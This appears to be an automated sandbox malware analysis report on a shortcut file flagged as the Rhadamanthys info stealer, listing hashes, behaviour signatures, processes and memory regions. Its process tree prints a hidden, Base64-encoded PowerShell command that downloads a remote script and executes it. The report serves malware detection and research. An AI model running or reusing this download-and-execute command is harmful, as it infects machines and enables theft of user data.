Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-04-2024 11:16

General

  • Target

    DOC5723-57235723.lnk

  • Size

    10KB

  • MD5

    dec2ee189e7b882fd5059db29646d4c2

  • SHA1

    d7ae2f7991fecf19f24c37c3b8034c98f1b3f12f

  • SHA256

    eb64ad37414cc8937627a687e9c37e485053140632e4977c19b79180adb080e0

  • SHA512

    e37dd83c3e98c59df3cbedd0ea6623617833e84d20a26102b7f9a7d960a19e241dccec19b19d812117f39499a373602f03436db64e121e18d91b4d40da7ca47e

  • SSDEEP

    192:8z5z9h43MSBfSW7rD6N+7yURE5sJloSR6wVlZevESj0s+l2UeU/poOEDhK9Mtd:u53+MS5hrDqLiJ/R6kn0n2kU/p0DhHtd

Score
10/10

Malware Config

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2436
      • C:\Windows\system32\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2480
    • C:\Windows\system32\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\DOC5723-57235723.lnk
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4972
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1244

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4c2qydy1.la3.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1244-21-0x00000253AA310000-0x00000253AA710000-memory.dmp

      Filesize

      4.0MB

    • memory/1244-13-0x00000253A7DA0000-0x00000253A7DB0000-memory.dmp

      Filesize

      64KB

    • memory/1244-22-0x00007FF89F780000-0x00007FF89FA49000-memory.dmp

      Filesize

      2.8MB

    • memory/1244-14-0x00000253AA2A0000-0x00000253AA2FE000-memory.dmp

      Filesize

      376KB

    • memory/1244-15-0x00000253A7D90000-0x00000253A7DA0000-memory.dmp

      Filesize

      64KB

    • memory/1244-16-0x00000253AA310000-0x00000253AA710000-memory.dmp

      Filesize

      4.0MB

    • memory/1244-18-0x00000253AA310000-0x00000253AA710000-memory.dmp

      Filesize

      4.0MB

    • memory/1244-17-0x00000253AA310000-0x00000253AA710000-memory.dmp

      Filesize

      4.0MB

    • memory/1244-20-0x00007FF8A1B50000-0x00007FF8A1C0E000-memory.dmp

      Filesize

      760KB

    • memory/1244-7-0x00000253A7D50000-0x00000253A7D72000-memory.dmp

      Filesize

      136KB

    • memory/1244-33-0x00000253AA310000-0x00000253AA710000-memory.dmp

      Filesize

      4.0MB

    • memory/1244-12-0x00007FF8839D0000-0x00007FF884491000-memory.dmp

      Filesize

      10.8MB

    • memory/1244-19-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

      Filesize

      2.0MB

    • memory/1244-30-0x00000253A7D90000-0x00000253A7DA0000-memory.dmp

      Filesize

      64KB

    • memory/1244-29-0x00007FF8839D0000-0x00007FF884491000-memory.dmp

      Filesize

      10.8MB

    • memory/2480-28-0x000001D45E1C0000-0x000001D45E5C0000-memory.dmp

      Filesize

      4.0MB

    • memory/2480-31-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

      Filesize

      2.0MB

    • memory/2480-34-0x00007FF8A1B50000-0x00007FF8A1C0E000-memory.dmp

      Filesize

      760KB

    • memory/2480-36-0x000001D45E1C0000-0x000001D45E5C0000-memory.dmp

      Filesize

      4.0MB

    • memory/2480-35-0x00007FF89F780000-0x00007FF89FA49000-memory.dmp

      Filesize

      2.8MB

    • memory/2480-32-0x000001D45E1C0000-0x000001D45E5C0000-memory.dmp

      Filesize

      4.0MB

    • memory/2480-23-0x000001D45C680000-0x000001D45C689000-memory.dmp

      Filesize

      36KB